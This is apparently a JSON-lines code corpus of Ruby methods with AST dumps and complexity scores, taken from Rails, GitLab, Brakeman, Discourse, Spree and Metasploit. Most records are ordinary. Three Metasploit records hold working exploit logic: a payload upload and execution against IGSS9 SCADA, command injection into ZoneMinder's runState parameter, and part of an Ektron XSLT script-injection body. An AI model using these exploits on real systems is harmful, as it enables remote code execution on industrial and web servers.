{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/scada/igss9_misc.rb","start_line":132,"raw_source":"def exploit\n    # Generate payload and our Write packets\n    print_status(\"Generating payload...\")\n    p = generate_payload_exe\n    fname, w_packets = write_packets(p)\n    w_packets_count = w_packets.length.to_s\n    print_status(\"#{p.length.to_s} bytes of payload to transfer (#{w_packets_count} packets)\")\n\n    # Generate our EXE packet\n    e_packet = exe_packet(fname)\n\n    # Create socket to igssdataserver.exe (12401)\n    connect(true, { 'RPORT' => 12401 })\n\n    # Count how many packets we've sent to track progress\n    counter = 1\n\n    # Send Write packets\n    print_status(\"Sending Write packets...\")\n\n    w_packets.each do |packet|\n      vprint_status(\"Sending packet #{counter}/#{w_packets_count}\")\n      counter += 1\n      sock.put(packet)\n      res = sock.get_once() # Wait before we do the next sock.put again\n    end\n\n    # After the 0x01 flag is set, our connection will be closed by the server.\n    disconnect\n\n    # Now to port 12397 (nc.exe)\n    connect(true, { 'RPORT' => 12397 })\n\n    print_status(\"Attempt to execute our payload...\")\n    sock.put(e_packet)\n\n    # We must delay disconnect() for a bit, otherwise dc.exe won't call\n    # kernel32!CreateProcessA\n    select(nil, nil, nil, 1)\n    disconnect\n  end","complexity_score":39.5,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Generating payload...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"p\",{\"type\":\"send\",\"children\":[null,\"generate_payload_exe\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fname\"]},{\"type\":\"lvasgn\",\"children\":[\"w_packets\"]}]},{\"type\":\"send\",\"children\":[null,\"write_packets\",{\"type\":\"lvar\",\"children\":[\"p\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"w_packets_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w_packets\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"p\"]},\"length\"]},\"to_s\"]}]},{\"type\":\"str\",\"children\":[\" bytes of payload to transfer (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w_packets_count\"]}]},{\"type\":\"str\",\"children\":[\" packets)\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"e_packet\",{\"type\":\"send\",\"children\":[null,\"exe_packet\",{\"type\":\"lvar\",\"children\":[\"fname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[12401]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"counter\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Sending Write packets...\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w_packets\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"packet\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Sending packet \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"counter\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w_packets_count\"]}]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"counter\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"packet\"]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"get_once\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]},{\"type\":\"send\",\"children\":[null,\"connect\",{\"type\":\"true\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RPORT\"]},{\"type\":\"int\",\"children\":[12397]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Attempt to execute our payload...\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"e_packet\"]}]},{\"type\":\"send\",\"children\":[null,\"select\",{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"nil\",\"children\":[]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"23b7132f-bc52-4fd4-9e43-374db15ab96b"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/application/routes_reloader.rb","start_line":68,"raw_source":"def run_after_load_paths\n        @run_after_load_paths ||= -> { }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_after_load_paths\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@run_after_load_paths\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},null]}]}]}","id":"9b716eba-1649-4bad-a747-de7dc45dfef4"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/checks/check_render_dos.rb","start_line":27,"raw_source":"def warn_about_text_render\n    message = msg(msg_version(rails_version), \" has a denial of service vulnerability \", msg_cve(\"CVE-2014-0082\"), \". Upgrade to \", msg_version(\"3.2.17\"))\n\n    warn :warning_type => \"Denial of Service\",\n      :warning_code => :CVE_2014_0082,\n      :message => message,\n      :confidence => :high,\n      :link_path => \"https://groups.google.com/d/msg/rubyonrails-security/LMxO_3_eCuc/ozGBEhKaJbIJ\",\n      :gem_info => gemfile_or_environment,\n      :cwe_id => [20]\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"warn_about_text_render\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message\",{\"type\":\"send\",\"children\":[null,\"msg\",{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"send\",\"children\":[null,\"rails_version\"]}]},{\"type\":\"str\",\"children\":[\" has a denial of service vulnerability \"]},{\"type\":\"send\",\"children\":[null,\"msg_cve\",{\"type\":\"str\",\"children\":[\"CVE-2014-0082\"]}]},{\"type\":\"str\",\"children\":[\". Upgrade to \"]},{\"type\":\"send\",\"children\":[null,\"msg_version\",{\"type\":\"str\",\"children\":[\"3.2.17\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"warn\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_type\"]},{\"type\":\"str\",\"children\":[\"Denial of Service\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"warning_code\"]},{\"type\":\"sym\",\"children\":[\"CVE_2014_0082\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"lvar\",\"children\":[\"message\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"sym\",\"children\":[\"high\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link_path\"]},{\"type\":\"str\",\"children\":[\"https://groups.google.com/d/msg/rubyonrails-security/LMxO_3_eCuc/ozGBEhKaJbIJ\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"gem_info\"]},{\"type\":\"send\",\"children\":[null,\"gemfile_or_environment\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe_id\"]},{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[20]}]}]}]}]}]}]}","id":"67b7a516-8658-4756-82d1-6a224c93b119"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/merge_request_diff_commit.rb","start_line":111,"raw_source":"def self.prepare_commits_for_bulk_insert(commits, organization_id)\n    user_triples = Set.new\n    hashes = commits.map do |commit|\n      hash = commit.to_hash.except(:parent_ids, :referenced_by)\n\n      TRIM_USER_KEYS.each do |key|\n        hash[key] = MergeRequest::DiffCommitUser.prepare(hash[key])\n      end\n\n      user_triples << [hash[:author_name], hash[:author_email], organization_id]\n      user_triples << [hash[:committer_name], hash[:committer_email], organization_id]\n\n      hash\n    end\n\n    [hashes, user_triples]\n  end","complexity_score":23.3,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"prepare_commits_for_bulk_insert\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commits\"]},{\"type\":\"arg\",\"children\":[\"organization_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"user_triples\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"hashes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commits\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"commit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hash\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"commit\"]},\"to_hash\"]},\"except\",{\"type\":\"sym\",\"children\":[\"parent_ids\"]},{\"type\":\"sym\",\"children\":[\"referenced_by\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TRIM_USER_KEYS\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MergeRequest\"]},\"DiffCommitUser\"]},\"prepare\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_triples\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"author_email\"]}]},{\"type\":\"lvar\",\"children\":[\"organization_id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user_triples\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"committer_name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"committer_email\"]}]},{\"type\":\"lvar\",\"children\":[\"organization_id\"]}]}]},{\"type\":\"lvar\",\"children\":[\"hash\"]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"lvar\",\"children\":[\"user_triples\"]}]}]}]}","id":"4f4186ca-f055-49a7-b63c-6366b7c9640a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/generate_kubeconfig_service.rb","start_line":13,"raw_source":"def execute\n      template.add_cluster(\n        name: cluster_name,\n        url: Gitlab::Kas.tunnel_url\n      )\n\n      agent_authorizations.each do |authorization|\n        agent = authorization.agent\n        user = user_name(agent)\n\n        template.add_user(\n          name: user,\n          token: agent_token(agent)\n        )\n\n        template.add_context(\n          name: context_name(agent),\n          namespace: context_namespace(authorization),\n          cluster: cluster_name,\n          user: user\n        )\n      end\n\n      template\n    end","complexity_score":24.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template\"]},\"add_cluster\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"cluster_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Kas\"]},\"tunnel_url\"]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"agent_authorizations\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"authorization\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"agent\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"authorization\"]},\"agent\"]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[null,\"user_name\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template\"]},\"add_user\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"token\"]},{\"type\":\"send\",\"children\":[null,\"agent_token\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"template\"]},\"add_context\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[null,\"context_name\",{\"type\":\"lvar\",\"children\":[\"agent\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"namespace\"]},{\"type\":\"send\",\"children\":[null,\"context_namespace\",{\"type\":\"lvar\",\"children\":[\"authorization\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"cluster\"]},{\"type\":\"send\",\"children\":[null,\"cluster_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"template\"]}]}]}","id":"76d050d4-1a1e-46e6-b68c-eee25c243553"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/http/ektron_xslt_exec_ws.rb","start_line":105,"raw_source":"def epilogue\n    <<~XSLT\n                </msxsl:script>\n                <xsl:template match=\"/\">\n                  <xsl:value-of select=\"user:xml()\"/>\n                </xsl:template>\n              </xsl:transform>\n              ]]>\n            </#{vulnerable_param}>\n          </#{target_operation}>\n        </soap:Body>\n      </soap:Envelope>\n    XSLT\n  end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"epilogue\",{\"type\":\"args\",\"children\":[]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"          </msxsl:script>\\n\"]},{\"type\":\"str\",\"children\":[\"          <xsl:template match=\\\"/\\\">\\n\"]},{\"type\":\"str\",\"children\":[\"            <xsl:value-of select=\\\"user:xml()\\\"/>\\n\"]},{\"type\":\"str\",\"children\":[\"          </xsl:template>\\n\"]},{\"type\":\"str\",\"children\":[\"        </xsl:transform>\\n\"]},{\"type\":\"str\",\"children\":[\"        ]]>\\n\"]},{\"type\":\"str\",\"children\":[\"      </\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vulnerable_param\"]}]},{\"type\":\"str\",\"children\":[\">\\n\"]},{\"type\":\"str\",\"children\":[\"    </\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_operation\"]}]},{\"type\":\"str\",\"children\":[\">\\n\"]},{\"type\":\"str\",\"children\":[\"  </soap:Body>\\n\"]},{\"type\":\"str\",\"children\":[\"</soap:Envelope>\\n\"]}]}]}","id":"63433888-f4f4-4b13-93cd-ddc5ded96d24"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/postgres/postgres-pr/message.rb","start_line":322,"raw_source":"def parse(buffer)\n    super do\n      @value = buffer.read_rest\n    end\n  end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"parse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"buffer\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"args\",\"children\":[]},{\"type\":\"ivasgn\",\"children\":[\"@value\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buffer\"]},\"read_rest\"]}]}]}]}","id":"4923325a-84b7-4ead-b40d-c895d2f62a7e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/generators/batched_background_migration/batched_background_migration_generator.rb","start_line":16,"raw_source":"def validate!\n      raise ArgumentError, \"table_name is required\" unless table_name.present?\n      raise ArgumentError, \"column_name is required\" unless column_name.present?\n      raise ArgumentError, \"feature_category is required\" unless feature_category.present?\n    end","complexity_score":12.9,"ast_json":"{\"type\":\"def\",\"children\":[\"validate!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"table_name\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"table_name is required\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"column_name\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"column_name is required\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"feature_category\"]},\"present?\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ArgumentError\"]},{\"type\":\"str\",\"children\":[\"feature_category is required\"]}]}]}]}]}","id":"57039588-10aa-45e5-958a-4934353a8552"}
{"repo_name":"spree","file_path":"./repos/spree/core/app/models/spree/report_line_items/sales_total.rb","start_line":44,"raw_source":"def tax_total\n        record.display_tax_total\n      end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"tax_total\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"record\"]},\"display_tax_total\"]}]}","id":"c33d2390-7f04-48f5-add5-dc1a21d8adcd"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/features/integrations/exclusions/adding_exclusions_for_projects_spec.rb","start_line":9,"raw_source":"def create_exclusion_for_project\n    Integrations::Exclusions::CreateService.new(\n      current_user: admin_user,\n      integration_name: 'beyond_identity',\n      projects: [project]\n    ).execute\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_exclusion_for_project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Integrations\"]},\"Exclusions\"]},\"CreateService\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current_user\"]},{\"type\":\"send\",\"children\":[null,\"admin_user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"integration_name\"]},{\"type\":\"str\",\"children\":[\"beyond_identity\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"projects\"]},{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]}]}]}]}]},\"execute\"]}]}","id":"5a2afe48-2faf-4dad-b771-44a571e66582"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/sessions/ssh_command_shell_bind.rb","start_line":275,"raw_source":"def create(params)\n      # Notify handlers before we create the socket\n      notify_before_socket_create(self, params)\n\n      if params.proto == 'tcp'\n        if params.server\n          sock = create_server_channel(params)\n        else\n          sock = create_client_channel(params)\n        end\n      elsif params.proto == 'udp'\n        raise ::Rex::ConnectionError.new(params.peerhost, params.peerport, reason: 'UDP sockets are not supported by SSH sessions.')\n      end\n\n      raise ::Rex::ConnectionError unless sock\n\n      # Notify now that we've created the socket\n      notify_socket_created(self, sock, params)\n\n      sock\n    end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"create\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"notify_before_socket_create\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"proto\"]},\"==\",{\"type\":\"str\",\"children\":[\"tcp\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"server\"]},{\"type\":\"lvasgn\",\"children\":[\"sock\",{\"type\":\"send\",\"children\":[null,\"create_server_channel\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"sock\",{\"type\":\"send\",\"children\":[null,\"create_client_channel\",{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"proto\"]},\"==\",{\"type\":\"str\",\"children\":[\"udp\"]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"peerhost\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"peerport\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"str\",\"children\":[\"UDP sockets are not supported by SSH sessions.\"]}]}]}]}]},null]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sock\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]}]},{\"type\":\"send\",\"children\":[null,\"notify_socket_created\",{\"type\":\"self\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"sock\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]},{\"type\":\"lvar\",\"children\":[\"sock\"]}]}]}","id":"84f66e82-9f3e-4f47-ba4a-a10769a8540a"}
{"repo_name":"discourse","file_path":"./repos/discourse/db/migrate/20210618135229_reintroduce_type_to_directory_columns.rb","start_line":4,"raw_source":"def up\n    if !ActiveRecord::Base.connection.column_exists?(:directory_columns, :type)\n      # A migration that added this column was previously merged and reverted.\n      # Some sites have this column and some do not, so only add if missing.\n      add_column :directory_columns, :type, :integer, default: 0, null: false\n    end\n\n    DB.exec(<<~SQL)\n        UPDATE directory_columns\n        SET type = CASE WHEN automatic THEN 0 ELSE 1 END;\n      SQL\n  end","complexity_score":6.7,"ast_json":"{\"type\":\"def\",\"children\":[\"up\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"connection\"]},\"column_exists?\",{\"type\":\"sym\",\"children\":[\"directory_columns\"]},{\"type\":\"sym\",\"children\":[\"type\"]}]},\"!\"]},{\"type\":\"send\",\"children\":[null,\"add_column\",{\"type\":\"sym\",\"children\":[\"directory_columns\"]},{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"integer\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"UPDATE directory_columns\\n\"]},{\"type\":\"str\",\"children\":[\"SET type = CASE WHEN automatic THEN 0 ELSE 1 END;\\n\"]}]}]}]}]}","id":"f36e3abd-abf8-499b-9a43-e601f9f5cf5a"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb","start_line":100,"raw_source":"def exploit\n    base = target_uri.path\n    base << '/' if base[-1, 1] != '/'\n    cookie = \"ZMSESSID=\" + rand_text_alphanumeric(rand(10) + 6)\n    user = datastore['USERNAME']\n    pass = datastore['PASSWORD']\n    data = \"action=login&view=postlogin&username=#{user}&password=#{pass}\"\n    command = Rex::Text.uri_encode(payload.encoded)\n\n    # login\n    print_status(\"Authenticating as user '#{user}'\")\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => \"#{base}index.php\",\n        'cookie' => \"#{cookie}\",\n        'data' => \"#{data}\",\n      })\n      if !res or res.code != 200 or res.body =~ /<title>ZM - Login<\\/title>/\n        fail_with(Failure::NoAccess, \"#{peer} - Authentication failed\")\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n      fail_with(Failure::Unreachable, \"#{peer} - Connection failed\")\n    end\n    print_good(\"Authenticated successfully\")\n\n    # send payload\n    print_status(\"Sending payload (#{command.length} bytes)\")\n    begin\n      res = send_request_cgi({\n        'method' => 'POST',\n        'uri' => \"#{base}index.php\",\n        'data' => \"view=none&action=state&runState=start;#{command}%26\",\n        'cookie' => \"#{cookie}\"\n      })\n      if res and res.code == 200\n        print_good(\"Payload sent successfully\")\n      else\n        fail_with(Failure::UnexpectedReply, \"#{peer} - Sending payload failed\")\n      end\n    rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout\n      fail_with(Failure::Unreachable, \"#{peer} - Connection failed\")\n    end\n  end","complexity_score":64.98,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"base\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"base\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"cookie\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"ZMSESSID=\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\",{\"type\":\"int\",\"children\":[10]}]},\"+\",{\"type\":\"int\",\"children\":[6]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\